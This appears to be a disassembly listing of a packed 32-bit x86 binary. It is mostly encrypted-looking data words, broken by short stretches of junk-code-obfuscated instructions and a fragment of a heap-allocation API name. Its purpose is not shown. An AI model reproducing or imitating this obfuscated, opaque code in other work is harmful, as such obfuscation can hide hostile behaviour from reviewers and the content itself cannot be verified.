		dd 0DE77017Bh, 0CF3D9958h, 18E54D26h, 56E399BCh, 347473BBh
		dd 0D5205D9h, 83000001h, 0CB650868h, 7CD85527h,	0A30DA0DAh
		dd 0D07CF173h, 26B63F3Dh, 0F87C9101h, 4ACADB75h, 96E609ABh
		dd 0DD9FBD1Fh, 3E732F50h, 286B1A7Eh, 4A066496h,	0FC58D5A7h
		dd 2969185Eh, 0EB305CC5h, 32126A8Fh, 0E18C22B0h, 0D6A04AA1h
		dd 0CEA8420Eh, 40E10C27h, 6C76CEACh, 0FFB24CDEh, 305CC4BFh
		dd 1E75351h, 36B6EF77h,	6D1CD4EEh, 37B27873h, 8A0A1BC3h
		dd 56E0C2AEh, 9C116B8Eh, 7377C9E5h, 0EF89A328h,	1E5EF15Dh
		dd 6974BCC6h, 0B8522ACFh, 0D714422Dh, 0E0488A46h, 721B4Ch
		dd 78AB0000h, 0C4F3B3EEh, 0BCD5305Ch, 0E24E5438h, 21BB2CCFh
		dd 4A1C4E70h, 44D6C238h, 4AD8EA3Ah, 423CDEFAh, 0E89933B3h
		dd 286B1BA8h, 12F270A0h, 4AA6FC90h, 52B2CC6Eh, 0E4A50AB3h
		dd 822BCD7Fh, 2BCAB446h, 7CFC13BBh, 8FEA00B4h, 0E45B3752h
		dd 0DC20B6B0h, 9EF62BC2h, 424F3047h, 50D2C2F6h,	0D4759B8Ch
		dd 0F578FA10h, 7FC7B15Bh, 348h,	0F6549A00h, 0FD7A14Ah
		dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah
		dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 0E789575Eh,	5EBBE56h
		dd 0CE810238h, 6665004Eh, 8103EEC1h, 235D5ACEh,	9FEE817Fh
		dd 8170223Dh, 323FA4C6h, 5EF701F0h, 8704EF83h
		db 3Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7EFC0F92h
		mov	edx, 790DA6B7h
		xor	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	5272h
		mov	[esp], edx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 0A3A1h
		dd 0B8046414h, 7F1ACFBh, 0E0FFC503h, 18C61098h,	5B36EBEAh
		dd 631AB700h, 116F5CCh,	528D667Bh, 0A4B81h, 4DC2B1ADh
		dd 3D3B9CBCh, 4D3714F9h, 16472AAEh, 7D1AB536h, 624EB8A3h
		dd 31C54103h, 64693E5Ch, 7CDB5598h, 68769A9Bh, 77DB341Eh
		dd 10DA7BA8h, 621B3203h, 2B137113h, 5CAAB426h, 544B6E85h
		dd 54B673DBh, 103DB75Dh, 0BE8h,	9BA28100h, 953B28D8h, 0AA3F9094h
		dd 8B665AFCh, 72C281C2h, 66000075h, 0B9B8A5B8h,	343520Ch
		dd 0CB1BC181h, 0A0BFFCBCh, 8B633C5Ch, 7E81Ah, 91980000h
		dd 21EE450Ah, 3ACE81CCh, 5E2F6DD6h, 0F243C381h,	830F11F3h
		dd 2, 0F3815F56h, 27F94A68h, 7E7B42B8h,	0D7F38170h, 805E83A6h
		dd 1A8922F0h, 5E86060h,	0BA000000h, 846B33AAh, 0FEE9815Bh
		dd 61609887h, 0F4D68166h, 0EA8361E0h, 0AE904h, 51E40000h
		dd 4727A295h, 0EB5FC3C6h, 0F01E983h, 2685h, 10E900h, 11F30000h
		dd 6A1E0D21h, 577B0A07h, 7898F354h, 28E99518h, 6C000000h
		dd 3CD9462Ah, 1CDA6EBAh, 0F77B5B9h, 64E9C1B7h, 38FFFFFFh
		dd 82E380FEh, 0FDAAA401h, 0F392CB96h, 0B314B01Eh, 0E9A39163h
		dd 0EDh, 0D88C6660h, 840F04A8h,	0DFh, 3539B58Bh, 0FE8307E9h
		dd 22850F00h, 0C6000000h, 0E9265985h, 69684507h, 0FF8E7269h
		dd 0E92669B5h, 0DB858D07h, 0FF07EC9Fh, 8D8589D0h, 8B07E913h
		dd 0E93E80F0h, 31850Fh,	858D0000h, 7EEB7B2h, 0BD8BD0FFh
		dd 7E90905h, 1184C781h,	0B58B0000h, 7E93539h, 8B9F787h
		dd 0F3000000h, 39B58BA4h, 8D07E935h, 0ED4EB485h, 8BD0FF07h
		dd 0E911ADB5h, 0FE8307h, 22850Fh, 85C60000h, 7E92659h
		dd 0BEF46854h, 0B5FFFF4Eh, 7E92669h, 9FDB858Dh,	0D0FF07ECh
		dd 11AD8589h, 0F08B07E9h, 0FE93E80h, 3A85h, 0ADB58B00h
		dd 8D07E911h, 0EEB7B285h, 8BD0FF07h, 0E90905BDh, 84C78107h
		dd 83000011h, 0B58B08C7h, 7E911ADh, 8B9F787h, 0F3000000h
		dd 0ADB58BA4h, 8D07E911h, 0ED4EB485h, 61D0FF07h, 0FE858DC3h
		dd 8907F1AEh, 0E9345D85h, 0DF8D8D07h, 2907F1B0h, 0E91979B5h
		dd 0D8D8907h, 6A07E932h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0C7AFC357h,	0E922E585h
		dd 5A8807h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 85C79F30h, 7E922B1h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 19C35242h
		dd 0BD31AF0Fh, 7E9167Dh, 2279B5FFh, 6A07E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A5EC56C3h
		dd 69EBA836h, 61BD8B1Bh, 0FF07E923h, 0E9228595h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0E03E1EF9h, 8AC6FE86h, 0B697B8C7h, 6A7563h, 0C3195FFh
		dd 0C08B07E9h, 2DB5FEBh, 31452F7Bh, 0E4237F30h,	823285D7h
		dd 7B4F1D7Ah, 0E66B653Ah, 3F3210BAh, 4D512C1Ch,	0D0E18167h
		dd 6A7D888Dh, 0FEDE0264h, 80D584EEh, 13BD1810h,	6B39CD78h
		dd 767A3BAh, 7C6BAB21h,	1B886B37h, 0A4FA2A38h, 0B234DCF5h
		dd 9204F709h, 3BF22626h, 0A4C8BD97h, 0CA888443h, 922C072Ch
		dd 46E93Eh, 0FD7B0000h,	745249DDh, 6C6C416Ch, 7461636Fh
		dd 61654865h, 70h, 14h,	0Bh dup(0)
		dd 107BE9h, 0B3BE6800h,	27E907F1h, 68FFF7CAh, 7F1B4BFh
		dd 0F7CA1DE9h, 0B6D668FFh, 13E907F1h, 68FFF7CAh, 7F1B7E1h
		dd 0F7CA09E9h, 0BB1E68FFh, 0FFE907F1h, 68FFF7C9h, 7F1BBA8h
		dd 0F7C9F5E9h, 0BBEA68FFh, 0EBE907F1h, 68FFF7C9h, 7F1BCE2h
		dd 0F7C9E1E9h, 0BD8268FFh, 0D7E907F1h, 68FFF7C9h, 7F1BDE8h
		dd 0F7C9CDE9h, 0BF8168FFh, 0C3E907F1h, 68FFF7C9h, 7F1C09Eh
		dd 0F7C9B9E9h, 0CAAA41FFh, 1765892Bh, 621C329Eh, 0B33161D3h
		dd 0F9839602h, 5743E474h, 993BBAC2h, 0CF690488h, 73DD5028h
		dd 71169FD9h, 133C7C35h, 0A6D4286Bh, 0A1F549E4h, 0C094DE78h
		dd 0A04A5A68h, 9D33B1E0h, 95E77541h, 0C94B5B03h, 6F836F75h
		dd 50ACCC63h, 8292D664h, 10A63C00h, 0F6D80CCh, 71186437h
		dd 0DF7E9E81h, 0F8750715h, 2953E66Eh, 3440D5C1h, 83FD1FB9h
		dd 7B0517A3h, 23B4A7FAh, 0AB791889h, 8B1937B5h,	0ABEECABBh
		dd 6B8E2873h, 0A7B0CD11h, 86DAA8AAh, 2E4CE064h,	0A851FBD6h
		dd 7D089E4Ah, 7007DD12h, 0B9E8823Ah, 2873B5F9h,	3DA1891Bh
		dd 3BC35A9Ch, 0AD053225h, 1EE6250Dh, 588C1A63h,	41h, 37A0B36Ah
		dd 64E839A5h, 68671A8Ch, 0D437B5ABh, 0E39E1808h, 2873AAA3h
		dd 49A1376Dh, 7E27FFA5h, 2873AB62h, 0BA8AF41Ah,	0A282FC1Eh
		dd 86790316h, 0AF1BE786h, 0E7D9FAA3h, 78C19F9h,	0E9h, 0D2A04AA3h
		dd 5CC4DFDFh, 0DD733130h, 0D4A0B501h, 0CCAE4C08h, 0A5DC7670h
		dd 305CC4E5h, 19BD752Fh, 95EC81F3h, 305CBFD8h, 0F77EF812h
		dd 33C5B745h, 0BFA8E899h, 0C68305Ch, 35FD93E9h,	9A0924F9h
		dd 5CBFA7E7h, 0ED8FA130h, 0A1039311h, 0B5087913h, 7D37B5AEh
		dd 0A579FB11h, 94148D1Fh, 7C2873AEh, 811D9026h,	0CE77F9F4h
		dd 5A96E584h, 69039487h, 0C6F12A38h, 5D3B662Fh,	5580C8F3h
		dd 0D06AFC92h, 469E1C74h, 374D4D3Ch, 0DDC72087h, 26CB9315h
		dd 772AC456h, 20873737h, 0EF03CBD9h, 0C733B18Dh, 0C1BB5EFAh
		dd 4A3F5D28h, 0F8EF673Ch, 0DA2h, 981567F4h, 0D362183Ch
		dd 0ADCF61h, 77FE7C94h,	0A94430C5h, 779AF633h, 0D5CC6805h
		dd 0DD72DE57h, 94A612A3h, 78224BEAh, 6B128909h,	13718B28h
		dd 58D5A74Ah, 911C5EFCh, 37A0B331h, 0AAEDECA5h,	0C9A537B5h
		dd 0C28E5626h, 0ECF64E28h, 6A74C85Eh, 0ED31B3E2h, 4E6A1BD7h
		dd 2E2873AAh, 0CEAC4008h, 6DE6C76h, 0BDBA54Ah, 3ABD5C80h
		dd 986E8FF9h, 5C049A92h, 0F8C809B0h, 3D8C1A2Bh,	9EB199A0h
		dd 0B717EB03h, 0DF12DE5Eh, 0BAh, 0D2A04AEBh, 5CC4DFDFh
		dd 0DD733130h, 0C0C0B14Bh, 50305CC4h, 0E4AE652h, 0D44D91EBh
		dd 305CBF97h, 0AD3F39D3h, 966E0E21h, 7FD9240Ch,	8E43A3DDh
		dd 0FA62F463h, 0DACC2456h, 0B5AE14A7h, 0A3B62237h, 15B14BD9h
		dd 2DB078FCh, 0DE68FF7Ah, 0C7D8CCA3h, 0CEBFEA2Fh, 0C4E35747h
		dd 6D75A5AAh, 2ACA78D8h, 0B75A0294h, 698C28C5h,	91E96613h
		dd 0B78F3C4Bh, 0CA100h,	1666F500h, 63193D9Fh, 0AED066D2h
		dd 0FF7D9507h, 4537DA76h, 9BF730A8h, 0CD6F0676h, 73DD50D4h
		dd 0A7119CDCh, 254AEB95h, 11880879h, 7288286Bh,	0D5A74A0Ch
		dd 98B9B43h, 82FAF35h, 0DA16AC70h, 0A5D765D7h, 0DC78BA08h
		dd 0E1E34339h, 0ED8FAD09h, 1D5FF35Bh, 3B77C3C1h, 72037D9Fh
		dd 0BA3868F4h, 0C5338F7Eh, 2735305Ch, 0DE7CD855h, 29F587AAh
		dd 9D39059Bh, 6A21FD7Fh, 0AB41832Ah, 8C225AFFh,	0E060A0E1h
		dd 38D58430h, 0DB861291h, 0CE63CF32h, 0B2h, 37A0B394h
		dd 0B87DECA5h, 6F3537B5h, 0B8D2EE97h, 0F0B62873h, 0EE33CF66h
		dd 475DD33Ah, 733F5252h, 8E0C228h, 2C9445E4h, 4A8C1A62h
		dd 82h,	0C5449F18h, 50C3305Ch, 957C35C7h, 737B5A9h, 0A974346Dh
		dd 0C2542873h, 62CED4B8h, 2F89247Eh, 0DF92720Ah, 4031CB5Ch
		dd 2FCC79CDh, 1AB63F65h, 2DBB8BF5h, 9DEB70A1h, 7CB3A896h
		dd 6805ED83h, 35C05ACDh, 12F12A24h, 0BE2800D3h,	0E2F87CC3h
		dd 5B56E027h, 18A0F95Bh, 7B83E8B5h, 107F194h, 0FFDB8773h
		dd 1C912759h, 48CADA82h, 8692FE0h, 8B530000h, 24641D9Bh
		dd 0EC18A0E6h, 0C6DC20B6h, 0EE78586Ah, 5CC4F3B3h, 0AB871D30h
		dd 5AEC7BF6h, 3B7B36C0h, 0D5305CC5h, 97E90FCFh,	0A91BAA5Bh
		dd 891B37B5h, 0A8F0CCB5h, 98882873h, 698ECA1Ah,	107CCF17h
		dd 2DD18969h, 0F8754F8Ch, 1AF18C19h, 0D1000000h, 4339DC78h
		dd 0C4BA16F7h, 0F284305Ch, 6E82C66Ah, 1DB27E0Ch, 0FFFFFBE6h
		dd 37A0B3A5h, 0AF720BA5h, 0B521AC9Eh, 594839F1h, 0D937B513h
		dd 2E8A7BCBh, 0D2287313h, 72528F2Eh, 8C8C1A8Eh,	4C8h, 0CAD03FD6h
		dd 732EB82Fh, 37B59F80h, 19A86C36h, 0D1B06D5Ch,	0C963F467h
		dd 0F880973Fh, 0B3529E24h, 860762E8h, 0D5A8742Eh, 0A13BCD5Ah
		dd 631A9A17h, 0A8FA76C5h, 0C2C88140h, 0B8EA7E19h, 0EA94A62Eh
		dd 3143E94Bh, 1BB3D9B8h, 746BFBF2h, 0A8Ah, 70FD7F9Ch, 0AB4A30C4h
		dd 1895E709h, 4FE664BCh, 812C48EDh, 8FA20E2Bh, 0BDD440EDh
		dd 0F51AB63Fh, 0AC4EEA8Bh, 603A23D2h, 6B0F7131h, 3B69A328h
		dd 0ED6A04Ah, 5728B8BBh, 7996D8ABh, 127A007Fh, 0A8E0BE7Bh
		dd 0EE11801Ah, 0A437B51Fh, 4FE06CFEh, 314802Dh,	1F84047Dh
		dd 168C2873h, 0BBDEB287h, 0D167F0F5h, 0DB14940Dh, 0C5E12872h
		dd 5E2872CAh, 0A2DC72D3h, 18B24042h, 0CB9C1A69h, 7E0D982Fh
		dd 0B43F7B10h, 0B4D1662Eh, 0A9A16B21h, 11BDCB1Bh, 1DA77FFDh
		dd 8A9834D5h, 0BE502089h, 0C915678Ah, 0FDD925BBh, 0F7C2225Ah
		dd 823EBC5Dh, 0C202DF7Eh, 3C94041Ah, 2Eh, 0B3EE7886h, 305CC4F3h
		dd 0F6AB871Dh, 4336DA7Bh, 0E5DD8558h, 9321B741h, 920D88F9h
		dd 7F2537B5h, 1E30A7h, 0EE760000h, 0D6EC304Ah, 0A0B3A81Ah
		dd 720BA537h, 2F050210h, 14F53D4Ah, 37B5928Dh, 9DC71F85h
		dd 5BD6A04Ah, 339FB136h, 7F299E56h, 0AB000009h,	0D37DF080h
		dd 4B03D3Fh, 4BE588F2h,	0F854D95Bh, 1E8E2755h, 0E094B919h
		dd 32B2E34Dh, 7EFE1183h, 0C5B745F7h, 265B4728h,	286B0E66h
		dd 0B32E9CAEh, 0ECA537A0h, 37B5B9C9h, 0CF8B5B49h, 0A3A2532Dh
		dd 4F2A7E88h, 6C01869Fh, 55765BF2h, 2886E627h, 95022DC0h
		dd 4CDC6903h, 0A0D27861h, 0C67BB415h, 5F149B6Ah, 0A0020881h
		dd 9EDC705Ch, 6A63710Ch, 1A520876h, 9D98D3DEh, 0ABE6700Ah
		dd 0F93F1CEBh, 35B37F25h, 61E3339Bh, 5A2B079Dh,	97EE4Bh
		dd 3CE5396Bh, 0F155EFA0h, 0C011B844h, 0C337B200h, 0CC219835h
		dd 0F54933C7h, 63745EEFh, 9D1D9426h, 77F15609h,	23A8C52Dh
		dd 3A000001h, 0A537A0B3h, 0B5B9C9ECh, 0C15B4937h, 0AC84F005h
		dd 0C4B64470h, 84BA9B32h, 9EFD9C63h, 4FED4F52h,	1530D12Dh
		dd 0D44F2A05h, 0CD6F9940h, 38A402B3h, 69C6012h,	126C8E2Ah
		dd 0CAF85332h, 0ABAD27DEh, 4A34C602h, 91E309ABh, 0E679F84Dh
		dd 0CCBD5D54h, 0CDD7D9DCh, 75E20D20h, 0AA2A7BE3h, 4229584Eh
		dd 50E135B2h, 34C6F252h, 0B353534Eh, 0E7BDD1F3h, 0AB42DC51h
		dd 0E07D8BA8h, 2958F2BAh, 0D1F38169h, 8531F9ABh, 48390577h
		dd 0D1F38150h, 78AC4D73h, 760DA0D2h, 25BF4810h,	5EDFEF86h
		dd 91ECACE5h, 7E245D9Fh, 28A566EFh, 93182DC0h, 0B7EA84E2h
		dd 5D9F4DF7h, 92128F19h, 825D9F4Dh, 0DBCA9220h,	33FF8559h
		dd 3B0B7587h, 56A63A4Ah, 0E39DB2E3h, 0DBA5B703h, 0AD4CB00Bh
		dd 0C564884Dh, 68B9E903h, 0E3433DD2h, 0F1F353E1h, 0D466D263h
		dd 94875AAAh
		dd 5D386903h, 0AFDEB0A4h, 356C1027h, 0CF6EA575h, 0AF77059Fh
		dd 9A7E8015h, 62FD7077h, 35B8EA96h, 710B2DA9h, 5EB717ADh
		dd 0B47C06DEh, 771Bh, 0A0B3AB00h, 9C4CBB30h, 9F2D8EEDh
		dd 5497700Dh, 8F368778h, 0ABB4AEFEh, 0D7231211h, 0E3E5A0D1h
		dd 534D37B4h, 72E45E5Eh, 0A4267E28h, 0D824BAE8h, 8FF106CEh
		dd 9A56D6CFh, 0CD601A3Eh, 3F26C451h, 88308237h,	72FA9919h
		dd 9B297B28h, 2AAA4A5Fh, 0DD6FE077h, 4599DB71h,	5BF5F33Fh
		dd 62B5FF3h, 8614AE76h,	317120BEh, 0E3287301h, 6C733C1h
		dd 2873017Eh, 3E8C0C96h, 5FD6A04Ah, 0EC7EE904h,	0C55F5F52h
		dd 0F3B1305Ch, 4F17A107h, 6C1DD557h, 37B59EA9h,	0CAFE3C69h
		dd 0B465255Ch, 0F5AF2873h, 6888A660h, 1CB640DAh, 73722565h
		dd 0C62E1628h, 16BA043Bh, 0E8CC247Eh, 1CB83547h, 5DF781FBh
		dd 73756424h, 5B5B5628h, 0B5287375h, 35FDA7EFh,	9E0924F9h
		dd 4A72950Ch, 82202FCCh, 95B824A2h, 5E7A0BE7h, 0E7208A3Ah
		dd 5849E374h, 27E30B49h, 3AEB3B69h, 18A10C9Eh, 0C21FBE42h
		dd 9BEC9902h, 0F676AF37h, 1FE73Ah, 7FE70000h, 7B49A1DBh
		dd 0A537A0B3h, 0B5ABB1ECh, 89238137h, 0F14D2FCDh, 0F4EB07F3h
		dd 29h,	37A0B30Eh, 0AF430BA5h, 1D6465CDh, 0F537B5B3h, 0A801DAFh
		dd 0A9ED0324h, 0D1EF03EFh, 0E091E775h, 287354A0h, 549C3270h
		dd 0D6A04A76h, 9FB1005Bh, 3F90AC33h, 642h, 38B5C754h, 7302789Ch
		dd 0A04D2FC1h, 179E1C74h, 49E490A5h, 0D77A56D3h, 75AC08A5h
		dd 3DD27EF7h, 0F406B243h, 1882EB8Ah, 6B0A2969h,	0F3D1EB28h
		dd 54F0BF3Fh, 6965B9C3h, 0BB23B1C3h, 530EEA6Ah,	19C557C0h
		dd 26BC80F4h, 32A5DCCAh, 8037B59Fh, 8B4BFA22h, 34EA2EC4h
		dd 651CAE39h, 6D859CC2h, 3FF25250h, 6011AB3Ch, 659C6308h
		dd 0E460FAA8h, 1D892456h, 47D561B1h, 6F4BA735h,	7106B3CDh
		dd 47E99DD3h, 5B8D88Fh,	49E20000h, 62A862Fh, 0B95FF974h
		dd 92822EC7h, 1E339D10h, 0E059D75Eh, 961F5DF0h,	0C469EB3Ah
		dd 38B5C768h, 71FC7E9Ch, 9F1F920Ch, 71286B09h, 0A04A655Bh
		dd 9F2D4FE0h, 9FB14B12h, 0C2F54933h, 576h, 44E98BA0h, 0BF3644E8h
		dd 0EC81FB1Dh, 23D25040h, 95185CF1h, 0A3B62207h, 0A9F854D9h
		dd 92E8A2Bh, 0B852FE77h, 544E37BEh, 6B0A5D5Dh, 2785B728h
		dd 7F50ED78h, 54744165h, 9975F3E0h, 0DD15AB62h,	972153F9h
		dd 7B584DFEh, 3D11A4D4h, 2F4DE171h, 60E43D99h, 0F62A069Ch
		dd 0EEA33023h, 305BFBAEh, 3A93C66h, 430616B8h, 0BDF48614h
		dd 38497945h, 0E5B8356Fh, 3741EB4Ah, 0B547D5EFh, 0C35C59FCh
		dd 38DDB92Fh, 58B3A93Ch, 0D36ADF86h, 0A400E13Dh, 58208155h
		dd 0FCC415B4h, 7A940C4Bh, 98h, 0FFBA3F48h, 75BD3F57h, 902ABDB8h
		dd 0B59EEEE1h, 3EDEC437h, 2FADE460h, 8C8802C3h,	9A95F76Eh
		dd 3CD37B0Dh, 0BFF2F43Ch, 60C580F4h, 0E9BC8022h, 874FD94Eh
		dd 66163B8Fh, 0BA760CD0h, 0E0FC752Ch, 0ECB658D7h, 1E58F25Ah
		dd 65172597h, 5A557FCCh, 0EEC11DD5h, 47Eh, 7CF183A8h, 0B73E3CD0h
		dd 0E489F305h, 5BDA5848h, 8D2054F9h, 9BBE1A1Fh,	0B1E04CE1h
		dd 1168233h, 0B05AF67Fh, 5C462FC6h, 6B096525h, 2F9DAF28h
		dd 9B51h, 463BD500h, 305CC546h,	0AE1CD4CEh, 0A537A0B3h
		dd 4A13E4ECh, 968E5638h, 7EBAC814h, 0DE861092h,	33B3423Ch
		dd 12A8E899h, 3A68286Bh, 4630DAFEh, 9F082BFEh, 0F8C5940Dh
		dd 306D2FC3h, 8B00D80Fh, 29F58BE2h, 0C8C059Fh, 42081CAh
		dd 0BD5C0F9Eh, 825CB061h, 0EF78FBB6h, 9E1245Dh,	733127DBh
		dd 5C0B53C6h, 0FAED6124h, 3DEh,	0DC5123C8h, 179EDC70h
		dd 44E993A5h, 0BB3AB8E8h, 0ED80F419h, 3BDEBA7Fh, 1100AC41h
		dd 0A1B6E293h, 50FA56DFh, 0BCE68F26h, 6B07C5C5h, 4F3D4F28h
		dd 5CC51F9Fh, 0C4D0EC30h, 0C651305Ch, 18AE2E67h, 13DB138Eh
		dd 962F384Ah, 439B1F8Eh, 7965CD68h, 5DFFDB2Bh, 0A9750715h
		dd 43EC851Bh, 41346EB3h, 378DA8Dh, 89A20000h, 46EA46EFh
		dd 0F91FB934h, 5242EE87h, 5EF35DD0h, 2019971Eh,	56DF9DB0h
		dd 8429ABFAh, 0F8750728h, 31BCBE5Ch, 5F5F524Ch,	0B1286B08h
		dd 0A04A259Bh, 0B8BB0ED6h, 0A1E49D2Fh, 7137B5A3h, 0F684F005h
		dd 0D56EF7Fh, 0F771A92h, 12B657A3h, 0CA5AF937h,	7CD85527h
		dd 8E43A3D9h, 0CE58F279h, 0D836D3D3h, 0CACAC7D5h, 4AD5D836h
		dd 826E3458h, 1127AF3Fh, 4A01836Fh, 420ED6A0h, 0C727CEA8h
		dd 0DA82FA1Fh, 32EF4B35h, 0BE26B027h, 861CE09Ah, 3AA23CAAh
		dd 0F9569EBh, 0AC432223h, 675337B5h, 4F55A9D3h,	20BC65B9h
		dd 0C42873ADh, 80409138h, 0FE8C19F4h, 38h, 37A0B3C4h, 100B08A5h
		dd 0DA73092Dh, 5D95888Dh, 4A97564Bh, 0A5FF37B5h, 4A0CA859h
		dd 0B5EC2873h, 4CE3EF37h, 0F51BD02Ch, 163AA654h, 5B5AAA77h
		dd 0EF948C1Ah, 2E000000h, 0ED6A04Ah, 71CDAF42h,	79C5B745h
		dd 30BDBF5Dh, 5CC01451h, 56F86430h, 0A67EF812h,	28B68E1Ch
		dd 5CC03979h, 3BC9DB30h, 4731DBFFh, 760629B5h, 0F8214AEh
		dd 305CBF8Fh, 0CAD72381h, 7284CC6Eh, 0D7AA7A08h, 1F53E544h
		dd 21A383FDh, 0D16BFD93h, 0BF4A4A47h, 0D8CA305Ch, 549CDE7Ch
		dd 0B59E26B5h, 415FF637h, 0F8D1542Bh, 0BFE58961h, 67F06336h
		dd 795A38D5h, 9380ABC3h, 0A73D0183h, 0D2CFD911h, 2FC79443h
		dd 0EA73173h, 24EDFFE8h, 0FFBFF2D4h, 11208796h,	0B335FD93h
		dd 0FF76062Bh, 35BCB85Dh, 3C4A9FB6h, 0DF194E86h, 0CB000001h
		dd 73DD5020h, 0A4109DDFh, 0EB45E892h, 18B439BBh, 7EEE87F5h
		dd 4034D9B9h, 921203ADh, 0DE9EB1E3h, 2557E557h,	0C6BBE788h
		dd 286B05C6h, 4A4E3C4Eh, 0FC58D5A7h, 15911C5Eh,	0C586067Bh
		dd 148E305Ch, 0A0B3EEDCh, 0EDECA537h, 5F37B5AAh, 0DE1A62F7h
		dd 0F5AC7032h, 2873A9D9h, 1CDA838Fh, 4DDF9DB0h,	73AA5454h
		dd 0AE6BC28h, 19FB47B9h, 0E3A78Ch, 8D270000h, 0F74F2DC1h
		dd 0B5FCBCEDh, 0B8142873h, 861CE092h, 4A8A38F0h, 0DFDFD2A0h
		dd 31305CC4h, 0E8A8D973h, 28305CC4h, 0BC18E47Ah, 6203E399h
		dd 305CBFE5h, 0E489EB01h, 4055E07Ah, 2381D59Ah,	0E9E1E93h
		dd 2C76305Ch, 383AD0C4h, 0A70611E4h, 891BEB95h,	0A13061FBh
		dd 9137B4EEh, 2CCF6213h, 6CA521BBh, 0EDF5B5ECh,	851F2872h
		dd 5D952FF7h, 1920564Bh, 208C2FC7h, 7B3B76F0h, 95208719h
		dd 3FEC790Fh, 0E775F808h, 913DCF5Dh, 0CE21FF7Ch, 0F423F34h
		dd 0D267EF79h, 0E0485AAAh, 0DE9EB31Dh, 4A29DE53h, 7166FE3Ch
		dd 0C2h, 0B83547D4h, 0F382F81Ch, 20CDAF41h, 971E9CF4h
		dd 0C9641025h, 57FAD653h, 0F52C8825h, 0BD52FE77h, 748632C3h
		dd 98026B0Ah, 6B04A9E9h, 73516B28h, 58D5A74Ah, 911C5EFCh
		dd 0D6A04A31h, 36729844h, 77CF5DDFh, 3143E96Dh,	329A5F9h
		dd 8EA9FC71h, 30C78F19h, 2EEF448h, 13E9EDA4h, 0F9AB384Ah
		dd 0F183A925h, 0D67AE27Ch, 0EE4A58A4h, 8E5620CAh, 6B2B66F0h
		dd 0A5286B13h, 4A5233FFh, 3767ED4h, 768440E9h, 8F268E03h
		dd 5ED3DBCAh, 25AD3819h, 0CC61F784h, 54A8CA60h,	10AA2878h
		dd 433F5685h, 47B388A1h, 10AAF42Bh, 3F732161h, 79B1F3DAh
		dd 9AB07415h, 51FB55D8h, 3E8DF27h, 3A000000h, 0A14AF654h
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h, 3AFFh
		dd 24048F54h
		dd 4240483h, 8904EC83h,	89522404h, 4C281E2h, 83000000h
		dd 148704EAh, 2C895C24h, 4CBA5224h, 0B81E565Fh,	19A7ED47h
		dd 148BD031h, 4C48324h,	3B7768h, 24248900h, 4240483h, 0C389535Dh
		dd 8B085D89h, 0C483241Ch, 242C8B04h, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 5024048Bh, 405E089h, 5000000h, 4,	5C240487h
		dd 0F7B9C1E9h, 0F6FD4AFFh, 0D2AC862Eh, 3EA09E05h, 0F1C185B8h
		dd 0FFC50307h, 5282AE0h, 0B784F35Dh, 6CA49645h,	2D8AB167h
		dd 0C4C06C7Bh, 3F817C38h, 0EB0B2626h, 0AF13F845h, 9A79586Ch
		dd 0C5EDAC49h, 0FD813C39h, 0D1721F24h, 0BEC4F23Bh, 0F415DA15h
		dd 0A90F884Dh, 4CA17044h, 72BE371Bh, 0DE81FF34h, 0E227F153h
		dd 7107C04h, 0A9587561h, 0EF0B7368h, 0E0A71531h, 7336B32h
		dd 828D8D2Fh, 8907F1C3h, 0E9091585h, 0D8D8907h,	6A07E932h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7387C356h, 4B582D2Fh, 9A09FF3Fh, 235BD8Bh
		dd 85C707E9h, 7E922E5h,	6050h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 77C35141h, 7999A8Ah, 0DD1AAF73h
		dd 20859589h, 85C707E9h, 7E922B1h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0FFC35747h
		dd 0F9D2386h, 0B70F0D63h, 0D99589D2h, 0FF07E91Fh, 0E93151B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8CC48EEBh, 95FFD654h, 7E92285h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6DC35545h, 964442DDh
		dd 8997E74Ch, 0B18D893Ch, 8907E921h, 0E900B595h, 0FF006A07h
		dd 0E90C3195h, 0EBC08B07h, 0C17DE948h, 21DC7047h, 654C7CF2h
		dd 574AB34Dh, 61E3B58Dh, 2514A290h, 186FA97Ch, 7F278A02h
		dd 34632850h, 6D1CCE2Bh, 0A5E459D0h, 31A16BFEh,	34B337D4h
		dd 868B697Bh, 18D86B27h, 5798E8F5h, 5E7ACDCBh, 983D9990h
		dd 578D8D92h, 8B07F1C4h, 0E9180195h, 0D8D8907h,	6A07E932h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8041C351h, 85C784D2h, 7E922E5h, 6CE4h, 85C7FA8Bh
		dd 7E922B1h, 0
